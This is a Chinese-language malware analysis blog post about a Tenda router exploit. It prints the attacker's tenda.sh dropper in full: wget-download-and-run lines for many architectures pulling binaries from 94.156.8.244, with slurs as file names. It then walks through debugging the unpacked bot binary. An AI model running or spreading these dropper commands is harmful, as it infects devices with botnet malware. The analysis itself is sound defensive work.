Loading... # a tenda router sample analysis ## front 起因是无意中捕捉到以下 exp 尝试 ![02de7bcc29e256c393181d6a5d837fae](https://tataramoriko-oss.oss-cn-shenzhen.aliyuncs.com/markdown/02de7bcc29e256c393181d6a5d837fae.png) url 解码后得到清晰内容: ![image-20240410205738443](https://tataramoriko-oss.oss-cn-shenzhen.aliyuncs.com/markdown/image-20240410205738443.png) 这大概又是什么路由器的 poc 了,没有查找到相关信息,但是可以主动获取载荷样本分析一下,载荷脚本 `tenda.sh` 内容如下: ```shell cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O lol http://94.156.8.244/mips; chmod +x lol; ./lol tplink cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O lmao http://94.156.8.244/mpsl; chmod +x lmao; ./lmao tplink cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O faggot http://94.156.8.244/x86_64; chmod +x faggot; ./faggot tplink cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O gay http://94.156.8.244/arm; chmod +x gay; ./gay tplink cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O retard http://94.156.8.244/arm5; chmod +x retard; ./retard tplink cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O nigger http://94.156.8.244/arm6; chmod +x nigger; ./nigger tplink cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O shit http://94.156.8.244/arm7; chmod +x shit; ./shit tplink cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O nigga http://94.156.8.244/i586; chmod +x nigga; ./nigga tplink cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O kekw http://94.156.8.244/i686; chmod +x kekw; ./kekw tplink cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O what http://94.156.8.244/powerpc; chmod +x what; ./what tplink cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O kys http://94.156.8.244/sh4; chmod +x kys; ./kys tplink cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O shiteater http://94.156.8.244/m68k; chmod +x shiteater; ./shiteater tplink cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O blyat http://94.156.8.244/sparc; chmod +x blyat; ./blyat tplink rm $0 ``` 尝试小溯了一下这个 `94.156.8.244`, ![image-20240410205921972](https://tataramoriko-oss.oss-cn-shenzhen.aliyuncs.com/markdown/image-20240410205921972.png) 目前没有什么有效信息,但是其中针对不同系统的不同 binary 文件倒是可以尝试获取一下,这里就以 `wget -O faggot http://94.156.8.244/x86_64` 为例 ## go 基础信息如下: ```bash $ mkdir /tmp/tmp; cp faggot /tmp/tmp; cd /tmp/tmp $ file faggot faggot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header $ checksec faggot [*] '/tmp/tmp/faggot' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x100000) Packer: Packed with UPX ``` 带了 upx 壳,去壳的方式有很多种,debian 下直接 `sudo apt install upx-ucl` 安装 upx 工具 ```bash $ upx -d faggot Ultimate Packer for eXecutables Copyright (C) 1996 - 2024 UPX 4.2.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 3rd 2024 File size Ratio Format Name -------------------- ------ ----------- ----------- [WARNING] bad b_info at 0x8cd0 [WARNING] ... recovery at 0x8ccc 76408 <- 36316 47.53% linux/amd64 faggot Unpacked 1 file. $ checksec faggot [*] '/tmp/tmp/faggot' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` 砸壳以后再用 ida 去看就有可分析的地方了,首先 shift + f12 查看字符串,拉到最底下找到 `/bin/sh`,溯源到 [sub_40CF54+B3]((https://paste.majo.im/uzoreyebar.cpp)) 位置,该函数反编译后源码,在 0x40D00C 下断,简单看了一下,很多数据都是临时装载,因此必须要上动调。在 pwndbg 里运行了一下,图示为 _start 中 __libc_start_main 常见引导格式 ![image-20240410201022362](https://tataramoriko-oss.oss-cn-shenzhen.aliyuncs.com/markdown/image-20240410201022362.png) 捕捉到输出如下: ![image-20240410203433946](https://tataramoriko-oss.oss-cn-shenzhen.aliyuncs.com/markdown/image-20240410203433946.png) 经过对比,确定 `mov rdi, 0x406780` 为 [main](https://paste.majo.im/okapozixun.cpp) 函数地址(注意下文为了分析方便,可能会对函数重命名,导致后续展示的内容可能与已经张贴上来的不一致,以该张贴为准,或者可以获取一份 elf 程序自行查看),第一个函数 [sub_408D5C](https://paste.majo.im/utiqubuzeq.cpp) 进去就是一个 `sys_unlink(*argv)`,也就是说这个 elf 一运行就会自动删除自己,这里在 ida 中将其 nop 掉,右键 patching 导出成 `unpack_faggot_patch`,后续继续分析;由于在字符串中看到了网络痕迹,在分析之前需要做点准备,隔绝网络 io 行为: 1. 创建一个新的网络命名空间:`sudo ip netns add iot` 2. 使用该网络命名空间来启一个 tmux,由于子进程完全继承父进程的网络设定,因此可以创建一个比较安全的网络隔绝环境:`sudo ip netns exec iot sudo -u wkyuu tmux`(这里使用 user 来启动 tmux,是为了 pwndbg 配套插件 [splitmind](https://www.majo.im/index.php/ctf/338.html#plugins)) 确定了 main:`b *0x406780` 即可正式开始分析,在分析过程还发现,程序运行完成必定 segmentation fault,之后系统无法新建文件、写入文件,通过 `ps -aux` 可以找到 `l5cnt6cn4hcn ck_faggot_patch` 的进程(名称会随机变化,手动将其 `kill` 后系统可以正常写入,后续需要将其导出成 elf 进一步分析),进一步在 pwndbg 中通过 `catch exec syscall fork load` 来监测其行为,catch 即 catchpoints,检测到以上行为会发起中断 1. 进入到 main 之后,会在 0x4067A9 处发起 syscall ioctl,经检查是一些内存初始化内容 2. 之后三个函数 0x40b504、0x408c8c、0x40b53c 都在初始化一些内容,例如地址内容、信号行为,主要概况为进行了一些处理上的 hook 1. 特定函数 0x4091a4 用于获取 0x51c8fc 这个地址,并且执着于将这个地址赋值为 22:`*sub_4091a4() = 22` 2. 0x40b504 地址赋值 3. 0x408c8c 修改了信号掩码 4. 0x40b53c 中包含一个 `sub_40d71d(int a1, int a2, int a3)` 函数,其主要行为是发起 syscall rt_sigaction 修改某个信号的动作,具体分析在这:[sub_40d71d](https://paste.majo.im/enipavitum.cpp) 5. 修改 signal action 的行为仅对当前进程有效 ```cpp rt_sigprocmask(int how, sigset_t *set, sigset_t *oldset); // how 修改信号掩码的方式、指向新的信号掩码、存储旧的信号掩码 rt_sigaction(int signum, sigaction, oldact); // 要操作的信号、指向信号处理行为、旧的信号处理行为 ``` 3. 在 0x4067f1 的 [sub_408B44(char *file_path)](https://paste.majo.im/uyucimetob.cpp) 函数,args 为 `/dev/watchdog` 以及 `/dev/misc/watchdog`,就是发起了 syscall open,当检查到 [watchdog](https://blog.csdn.net/whatday/article/details/88016972) 进程时,就会往地址 0x51c8fc 写入 1,结合下文 0x406827 处调用的 `sub_408968(char *file_path)` 中发起了 syscall close,不难理解该进程就是尝试关闭了 watchdog 监测进程 4. 在 0x40683e 的函数 [sub_408968](https://paste.majo.im/irocodunaq.cpp) 发起 syscall chdir,args 为 `0x40f8c3`,`hexdump 0x40f8c3` 得到以下输出 ```bash pwndbg> hexdump 0x40f8c3 +0000 0x40f8c3 2f 00 2f 70 72 6f 63 2f 25 73 2f 63 6d 64 6c 69 │/./proc/│%s/cmdli│ +0010 0x40f8d3 6e 65 00 77 67 65 74 00 63 75 72 6c 00 6e 65 74 │ne.wget.│curl.net│ +0020 0x40f8e3 73 74 61 74 00 70 73 00 6c 73 00 6d 76 00 65 63 │stat.ps.│ls.mv.ec│ +0030 0x40f8f3 68 6f 00 62 61 73 68 00 72 65 62 6f 6f 74 00 73 │ho.bash.│reboot.s│ pwndbg> +0040 0x40f903 68 75 74 64 6f 77 6e 00 68 61 6c 74 00 70 6f 77 │hutdown.│halt.pow│ +0050 0x40f913 65 72 6f 66 66 00 66 61 67 67 6f 74 20 67 6f 74 │eroff.fa│ggot.got│ +0060 0x40f923 20 6d 61 6c 77 61 72 65 27 64 00 2f 74 6d 70 00 │.malware│'d./tmp.│ +0070 0x40f933 2f 6f 70 74 00 2f 68 6f 6d 65 00 2f 64 65 76 00 │/opt./ho│me./dev.│ pwndbg> +0080 0x40f943 2f 76 61 72 00 2f 73 62 69 6e 00 2f 70 72 6f 63 │/var./sb│in./proc│ +0090 0x40f953 2f 73 65 6c 66 2f 65 78 65 00 2f 6d 6e 74 00 2f │/self/ex│e./mnt./│ +00a0 0x40f963 72 6f 6f 74 00 2f 64 65 76 2f 6e 75 6c 6c 00 2f │root./de│v/null./│ +00b0 0x40f973 64 65 76 2f 63 6f 6e 73 6f 6c 65 00 00 00 00 00 │dev/cons│ole.....│ pwndbg> +00c0 0x40f983 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│ ... ↓ skipped 2 identical lines (32 bytes) +00f0 0x40f9b3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│ pwndbg> ``` 在尝试切换 dir 到 `/`,以上地址块可以大概猜测到这个 elf 将要进行的一些操作,其中不乏敏感路径 5. 在 0x40683e 的 [sub_408570](https://paste.majo.im/uqaxawupiy.cpp) 及其子函数 [sub_40b4d4](https://paste.majo.im/mireladali.cpp) 函数主要行为是发起了 syscall `socket(2LL, 2LL, 0LL)`,并在 0x4085c2 调用的函数 [0x40v36c](https://paste.majo.im/dexasucoyo.cpp) 发起 syscall `connect(socket_fd, [2, 0x3500], 16LL)`,args 得到地址 stack 上地址 `0x7fffffffdba0`,对其进一步查看得到以下内容 ```bash pwndbg> pdisass ► 0x40b377 syscall <SYS_connect> fd: 0x3 (socket:[13568]) addr: 0x7fffffffdaf0 ◂— 0x808080835000002 len: 0x10 pwndbg> hexdump $rsi +0000 0x7fffffffdaf0 02 00 00 35 08 08 08 08 00 00 00 10 00 00 00 00 │...5....│........│ +0010 0x7fffffffdb00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 │........│........│ +0020 0x7fffffffdb10 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 │........│........│ +0030 0x7fffffffdb20 01 00 00 00 00 00 00 00 43 68 40 00 00 00 00 00 │........│Ch@.....│ ``` 其中的开头:`02 00 00 35 | 08 08 08 08`,是一个经典的 [sock addr](https://www.ibm.com/docs/fr/i/7.4?topic=family-af-inet-address),`02` 代表 `AF_INET`,转成 ipv4 就是:`8.8.8.8:53`,这是 google 的 dns 服务器,在后续分析可以找到 domain 关键字:`tcpfin.xyz`,使用 `dig tcpfin.xyz @8.8.8.8` 可以模拟 dns 查询,可以发现使用的就是 `8.8.8.8#53` 端口; ![image-20240422164331194](https://tataramoriko-oss.oss-cn-shenzhen.aliyuncs.com/markdown/image-20240410164331194.png) 这里还有个有趣的事情,过度解读一下这个 tcpfin,可以猜测到这个 domain 可能是一个用于测试连接的网站,tcpfin 即 tcp 的 fin 报文,接受到这个报文后会直接关闭 tcp 连接,结合 elf 的行为,可能就是为了测试当前主机能否连接 dns 服务器,换句话说就是能否上网;以下内容摘自 [getsockname](https://www.ibm.com/docs/en/zos/2.5.0?topic=functions-getsockname-get-name-socket) > The getsockname() call is often used to discover the port assigned to a socket after the socket has been implicitly bound to a port. For example, an application can call connect() without previously calling bind(). In this case, the connect() call completes the binding necessary by assigning a port to the socket. This assignment can be discovered with a call to getsockname(). 也就是在发起 connet() 后,可以使用 getsockname() 获取 tcp 连接的套接信息;但是在一些网络状况不是很好的地方,自然是无法连接到 google 的 dns 的,由于一开始就是隔离网络 io 的条件下进行 dbg 的,自然无法连接 ```cpp socket(int domain, int type, int protocol); // 套接字的协议族(AF_INET、AF_INET6、AF_UNIX)、指定套接字的类型(SOCK_STREAM)、协议 connect(socket_fd, package_addr, len); // 打开的 socket_fd、载荷开始地址、载荷长度 getsockname(int socket, struct sockaddr *__restrict__ name, socklen_t *__restrict__ namelen); // socket_fd、载荷开始地址、载荷长度 struct sockaddr_in { short sin_family; // 00 02,2 Bytes u_short sin_port; // 00 35,2 Bytes,0 ~ 65535,也就是 port struct in_addr sin_addr; // 08 08 08 08,4 Bytes,也就是 ipv4 addr char sin_zero[8]; }; ``` 编写了一段 [socket.c](https://paste.majo.im/aluhanuxak.cpp) 如下,动调到 connect() 函数查看 sockaddr_in 结构体如下: ```c pwndbg> display servaddr 1: servaddr = { sin_family = 2, sin_port = 13568, // 35 00 sin_addr = { s_addr = 134744072 // 08 08 08 08 }, sin_zero = "\000\000\000\000\000\000\000" } ``` 由于网络状况不好,没能连接到 `8.8.8.8:53`,于是将其修改成阿里的 `223.5.5.5`,重新编译并执行,成功显示 ```bash $ ./socket_test Connected to 223.5.5.5:53 Local IP address: 172.28.255.219 Local port: 41674 ``` 其对应的内存信息如下: ```bash pwndbg> hexdump $rsi +0000 0x7fffffffdfd0 02 00 ca a2 ac 1c ff db 00 00 00 00 00 00 00 00 │........│........│ +0010 0x7fffffffdfe0 02 00 00 35 df 05 05 05 00 00 00 00 00 00 00 00 │...5....│........│ +0020 0x7fffffffdff0 00 00 00 00 00 00 00 00 b0 da ff f7 03 00 00 00 │........│........│ +0030 0x7fffffffe000 01 00 00 00 00 00 00 00 ca d6 df f7 ff 7f 00 00 │........│........│ ipython> In[1]: 0xac, 0x1c, 0xff, 0xdb, 0xa2ca Out[1]: 172, 28, 255, 219, 41674 ``` 6. 在 0x406849 处的 [sub_407d20](https://paste.majo.im/vijitazaje.cpp) 函数中多次调用了 [sub_40b6a0](https://paste.majo.im/xidoqihihe.cpp) 和 [sub_4084a0](https://paste.majo.im/evewikigac.cpp),看起来很麻烦,大概也是一种减损分析员寿命的幻术,只要 catch syscall 和地址读写来观察关键的内容 1. 观察到其主要是循环了以下逻辑: ```c int64 vx; long long num; vx = sub_40b6a0(num); sub_4084a0(vx, &addr, num); qword_addr2 = vx; word_addr3 = num; ``` 2. `sub_40b6a0(num)` 运算得出 `vx` 返回 ```bash pwndbg> xinfo 0x526010 Virtual address 0x526010 is not mapped. pwndbg> c Continuing. Catchpoint 6 (call to syscall brk), 0x000000000040edf1 in ?? () pwndbg> c Continuing. Catchpoint 6 (returned from syscall brk), 0x000000000040edf1 in ?? () pwndbg> c Continuing. Catchpoint 6 (call to syscall brk), 0x000000000040edf1 in ?? () pwndbg> c Continuing. Catchpoint 6 (returned from syscall brk), 0x000000000040edf1 in ?? () pwndbg> xinfo 0x526010 Extended information for virtual address 0x526010: Containing mapping: 0x513000 0x527000 rw-p 14000 0 [heap] Offset information: Mapped Area 0x526010 = 0x513000 + 0x13010 ``` `sub_40b6a0` 函数中多次发起了 syscall brk,确实是分配了一段 heap 地址,并在后续操作该动态地址 3. 调用 `sub_4084a0(byte *vx, int8 *addr, int num)`,在其中进行了数据拼接:拼接长度是 num,拼接基地址是 *vx,拼接内容是 *addr ```bash pwndbg> args rdi = 0x526010 ◂— 0x0 rsi = 0x410c80 ◂— jbe 0x410cf3 rdx = 0x15 rcx = 0xfe1 r8 = 0x0 r9 = 0x0 pwndbg> hexdump 0x526010 +0000 0x526010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│ +0010 0x526020 00 00 00 00 00 00 00 00 e1 0f 00 00 00 00 00 00 │........│........│ +0020 0x526030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│ +0030 0x526040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│ pwndbg> hexdump 0x410c80 +0000 0x410c80 76 71 4d 57 50 41 47 02 67 4c 45 4b 4c 47 02 73 │vqMWPAG.│gLEKLG.s│ +0010 0x410c90 57 47 50 5b 22 00 51 4a 47 4e 4e 22 00 47 4c 43 │WGP[".QJ│GNN".GLC│ +0020 0x410ca0 40 4e 47 22 00 51 5b 51 56 47 4f 22 00 51 4a 22 │@NG".Q[Q│VGO".QJ"│ +0030 0x410cb0 00 0d 40 4b 4c 0d 40 57 51 5b 40 4d 5a 02 6f 6b │..@KL.@W│Q[@MZ.ok│ pwndbg> n 0x0000000000407d40 in ?? () pwndbg> hexdump 0x526010 +0000 0x526010 76 71 4d 57 50 41 47 02 67 4c 45 4b 4c 47 02 73 │vqMWPAG.│gLEKLG.s│ +0010 0x526020 57 47 50 5b 22 00 00 00 e1 0f 00 00 00 00 00 00 │WGP["...│........│ +0020 0x526030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│ +0030 0x526040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│ ``` 了解了基本逻辑,只需要观察几个输入和输出即可,如上文输出所示,`0x4084a0` 函数确实往 *vx 地址写入了 &addr 处的内容 4. 得到了单个循环的逻辑,只要抓住几个地址进行查看即可: ```bash pwndbg> hexdump 0x526010 +0000 0x526010 76 71 4d 57 50 41 47 02 67 4c 45 4b 4c 47 02 73 │vqMWPAG.│gLEKLG.s│ +0010 0x526020 57 47 50 5b 22 00 00 00 71 00 00 00 00 00 00 00 │WGP["...│q.......│ +0020 0x526030 0f 02 11 23 9f dd 10 09 33 fe 1f 8f ba 00 00 00 │...#....│3.......│ +0030 0x526040 00 00 00 00 00 00 00 00 00 ff ee 31 41 00 00 41 │........│...1A..A│ pwndbg> +0040 0x526050 0f 02 11 23 9f dd 10 09 33 fe 1f 8f ba 00 00 00 │...#....│3.......│ +0050 0x526060 00 00 00 00 00 00 00 00 00 ff ee 31 41 00 00 41 │........│...1A..A│ +0060 0x526070 0f 02 11 23 9f dd 10 09 33 fe 1f 8f ba 00 00 00 │...#....│3.......│ +0070 0x526080 00 00 00 00 00 00 00 00 00 ff ee 31 41 00 00 41 │........│...1A..A│ pwndbg> +0080 0x526090 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │........│!.......│ +0090 0x5260a0 51 4a 47 4e 4e 22 00 00 00 00 00 00 00 00 00 00 │QJGNN"..│........│ +00a0 0x5260b0 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │........│!.......│ +00b0 0x5260c0 47 4c 43 40 4e 47 22 00 00 00 00 00 00 00 00 00 │GLC@NG".│........│ pwndbg> +00c0 0x5260d0 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │........│!.......│ +00d0 0x5260e0 51 5b 51 56 47 4f 22 00 00 00 00 00 00 00 00 00 │Q[QVGO".│........│ +00e0 0x5260f0 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │........│!.......│ +00f0 0x526100 51 4a 22 00 00 00 00 00 00 00 00 00 00 00 00 00 │QJ".....│........│ pwndbg> +0100 0x526110 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │........│!.......│ +0110 0x526120 0d 40 4b 4c 0d 40 57 51 5b 40 4d 5a 02 6f 6b 70 │.@KL.@WQ│[@MZ.okp│ +0120 0x526130 63 6b 22 00 00 00 00 00 21 00 00 00 00 00 00 00 │ck".....│!.......│ +0130 0x526140 6f 6b 70 63 6b 18 02 43 52 52 4e 47 56 02 4c 4d │okpck..C│RRNGV.LM│ pwndbg> +0140 0x526150 56 02 44 4d 57 4c 46 22 21 00 00 00 00 00 00 00 │V.DMWLF"│!.......│ +0150 0x526160 4c 41 4d 50 50 47 41 56 22 00 00 00 00 00 00 00 │LAMPPGAV│".......│ +0160 0x526170 00 00 00 00 00 00 00 00 91 0e 00 00 00 00 00 00 │........│........│ +0170 0x526180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│ ``` 7. 在 0x406859 处的 [sub_406420](https://paste.majo.im/icupomewog.cpp) 及其子函数发起了 syscall socket、syscall setsockopt、syscall fcntl、syscall bind、syscall connect、syscall close、syscall nanosleep、[syscall listen](https://www.ibm.com/docs/en/zos/2.4.0?topic=calls-listen),后续这几个 syscall 都以 socket 执行成功后的返回的 socket fd 为依据,操作链如下: ```c syscall_setsockopt(socket, 1LL, 2LL, v8, 4LL); // ... unsigned int v1 = syscall_fcntl(socket, 3u, 0LL); syscall_fcntl(socket, 4u, v1); // ... syscall_bind(socket, &v7, 16LL); // ... syscall_connect(socket, &v7, 16); // ... syscall_close(socket); syscall_open("/proc/net/tcp", 0, 0); ``` 1. [setsockopt](https://www.ibm.com/docs/en/zos/2.4.0?topic=calls-setsockopt):配置 socket 的选项,例如缓冲区大小、重用地址、超时时间等,这里是 `syscall_setsockopt(socket, 1LL, 2LL, v8, 4LL);`,对应 SOL_SOCKET 和 SO_REUSEADDR,即设置该 socket 为地址重用模式,让程序短时间内重启可以继续占用同一端口 2. [fcntl](https://www.ibm.com/docs/en/zos/2.5.0?topic=calls-fcntl):主要是操作 fd,具体到这里是操作 socket fd,首先 `unsigned int v1 = syscall_fcntl(socket, 3u, 0LL);` 指定了 F_GETFL,即获取文件描述符的状态,`syscall_fcntl(socket, 4u, v1);` 指定 F_SETFL,将 socket 设置为了 [非阻塞模式](https://github.com/balloonwj/CppGuide/blob/master/articles/%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B/socket%E7%9A%84%E9%98%BB%E5%A1%9E%E6%A8%A1%E5%BC%8F%E5%92%8C%E9%9D%9E%E9%98%BB%E5%A1%9E%E6%A8%A1%E5%BC%8F.md) 3. [nanosleep](https://www.ibm.com/docs/en/zos/3.1.0?topic=functions-nanosleep-high-resolution-sleep):让当前线程暂停一段时间 4. [bind](https://www.ibm.com/docs/en/zos/2.4.0?topic=functions-bind-bind-name-socket):将 socket 绑定到一个本地地址,并且 bind 后再 `syscall_close(socket);` 不会导致失去连接;`syscall_bind(socket, &v7, 16LL);`,也就是说到这一步程序准备好与服务器进行 tcp 连接了 该 elf 首先通过打开一个 socket 连接 `tcpfin.xyz` 检查网络 io 状态并获取自己的 socket fd,然后绑定该 socket 地址用于后续直接打开 tcp 连接,在 0x4064d5 下断,检查 `v7` 内容如下: ```bash pwndbg> args rdi = 0x3 rsi = 0x7fffffffdaf0 ◂— 0x100007fd3980002 rdx = 0x10 rcx = 0x4088eb ◂— cmp rax, -0x1000 /* 'H=' */ r8 = 0x4 r9 = 0x0 pwndbg> hexdump $rsi +0000 0x7fffffffdaf0 02 00 98 d3 7f 00 00 01 b8 e2 ff ff ff 7f 00 00 │........│........│ +0010 0x7fffffffdb00 d0 e0 ff ff ff 7f 00 00 01 00 00 00 01 00 00 00 │........│........│ +0020 0x7fffffffdb10 80 67 40 00 00 00 00 00 ff ff ff ff 00 00 00 00 │.g@.....│........│ +0030 0x7fffffffdb20 01 00 00 00 00 00 00 00 5e 68 40 00 00 00 00 00 │........│^h@.....│ ``` 到这里 0x4064d5 之后的内容与一开始发起 socket 相同,即如果 bind 地址失败,会再次尝试发起 socket 然后重新调用当前函数,如果成功 bind,则发起 syscall listen 监听该 socket_fd;然后该函数返回 socket_fd 8. 0x40685e 处的 [sub_4071c0](https://paste.majo.im/xokixuyogi.cpp),发起了 syscall time、syscall getpid、syscall [getppid](https://www.ibm.com/docs/en/aix/7.2?topic=g-getpid-getpgrp-getppid-subroutine)、syscall [times](https://www.ibm.com/docs/en/zos/2.4.0?topic=functions-times-get-process-child-process-times),分别获取当前时间、当前进程 pid、当前进程的父 pid、当前进程运行经过的时间 ## z 用到的 syscall ```c ioctl(int fd, unsigned long request, ...); // request 是请求码,要做的设备请求 rt_sigprocmask(int how, sigset_t *set, sigset_t *oldset); // how 修改信号掩码的方式、指向新的信号掩码、存储旧的信号掩码 rt_sigaction(int signum, sigaction, oldact); // 要操作的信号、指向信号处理行为、旧的信号处理行为 open(char *path, int flags, mode_t mode); // 打开的路径、打开方式(a、w、r)、文件的权限(仅在创建时使用,例如 0666) chdir(path); socket(int domain, int type, int protocol); // 套接字的协议族(AF_INET、AF_INET6、AF_UNIX)、指定套接字的类型(SOCK_STREAM)、协议 getsockname(int sockfd, struct sockaddr *addr); // 套接字描述符、套接字地址的结构体指针、地址长度 setsockopt(); // 1 fcntl(); // 2 bind(); // 3 close(); // 4 nanosleep(); // 5 ``` ### tmp pwndbg ```bash # watch x/30gx = e[x]amine / count [opt]x: [b]yte,[h]alfword,[w]ord,[g]iant word(64-bit) watch 0x7fffffffdfe0 hexdump $rdi+$rdx*8 set $rdi=1 # define define peek x/30xg 0x7fffffffdfe0 end # cmd args xinfo proc patch <addr> 'nop; nop; ' backtrace,bt i r,info registers regs display args ``` tmux ```bash ctrl + b + d,set -g mouse on tmux attach 左键选中,右键复制 ``` © 允许规范转载 赞 如果觉得我的文章对你有用,请随意赞赏